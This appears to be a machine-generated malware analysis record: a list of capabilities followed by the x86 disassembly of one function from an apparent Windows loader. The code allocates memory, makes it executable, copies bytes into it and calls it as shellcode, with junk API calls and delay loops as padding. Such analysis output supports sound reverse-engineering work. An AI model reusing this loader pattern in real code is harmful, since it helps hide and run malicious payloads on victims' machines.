Function at 0x4016ae
Capabilities:
Allocate or change rwx memory
Copy file
Delete directory
Execute shellcode via indirect call
Get disk information
Read file on windows
Set file attributes

Disassembly:
mov eax, 0x1030
call fcn.00403c20
push ebp
xor ebp, ebp
push esi
mov esi, ebp
push ebp
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x207138
jg 0x4016d6
inc esi
cmp esi, 0x4f672
jl 0x4016be
mov ecx, dword [0x2e2c364]
cmp ecx, 0x93
je 0x4018ac
mov eax, dword [0x5d0208]
add ecx, 0x1134b
push ecx
push ebp
mov dword [0x2e2c36c], eax
mov dword [0x2e2c364], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [esp + 0x14]
mov dword [0x2e2c368], eax
push ecx
push 0x40
push dword [0x2e2c364]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, 0x14b002e
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec esi
jne 0x401724
mov edx, dword [0x2e2c364]
mov esi, ebp
test edx, edx
je 0x4017bb
mov eax, dword [0x2e2c36c]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x2e2c368]
mov byte [eax + esi], cl
mov edx, dword [0x2e2c364]
cmp edx, 0x490
jne 0x4017b6
push ebp
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push ebp
push str.fayom
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push str.fanumibizofela
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebp
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x18]
push eax
push ebp
lea eax, [esp + 0x850]
push eax
push str.nijizohiganoputivuhatukicakih
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov edx, dword [0x2e2c364]
inc esi
cmp esi, edx
jb 0x40173f
mov esi, ebp
lea eax, [edx + esi]
cmp eax, 0x8d
jne 0x4017fe
push str.xigitupiyolirazamipa
push ebp
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push ebp
lea eax, [esp + 0xc]
push eax
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push ebp
push ebp
push str.badobi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
mov edx, dword [0x2e2c364]
inc esi
cmp esi, 0x38681
jl 0x4017bd
mov ecx, dword [0x2e2c368]
push 0x5d0140
call fcn.00401c77
mov esi, ebp
push ebp
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x62
jne 0x40182f
mov ecx, 0x2e2c368
call fcn.00401696
inc esi
cmp esi, 0x674db
jl 0x401819
push 0x7b
pop esi
cmp dword [0x2e2c364], 0x86
jne 0x401876
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push ebp
lea eax, [esp + 0x10]
push eax
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push ebp
push str.pojahux
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [esp + 0x1c]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
cmp dword [0x2e2c364], 0xf
jne 0x401889
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateEventW]
dec esi
jne 0x40183b
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [0x2e2c368]
mov dword [0x2e2c370], eax
call eax
pop esi
pop ebp
add esp, 0x1030
ret
push str.latibece
push ebp
xor eax, eax
push ebp
push ebp
btr dword [eax], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push ebp
push ebp
push ebp
push ebp
push str.vawisodesegabi_gimuva_lemifineduxihi_nox
push str.Suh_kosaxanikogapageximup_bawizicutitihuhugoba
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.GDI32.dll_GetCharWidthA]
push ebp
call fcn.0040337c
push ebp
push ebp
push ebp
push ebp
call fcn.004035b8
push ebp
push ebp
call fcn.00403254
push ebp
call fcn.0040240d
push ebp
call fcn.004032b6
push ebp
call fcn.004032c3
add esp, 0x28
call fcn.00403273
int3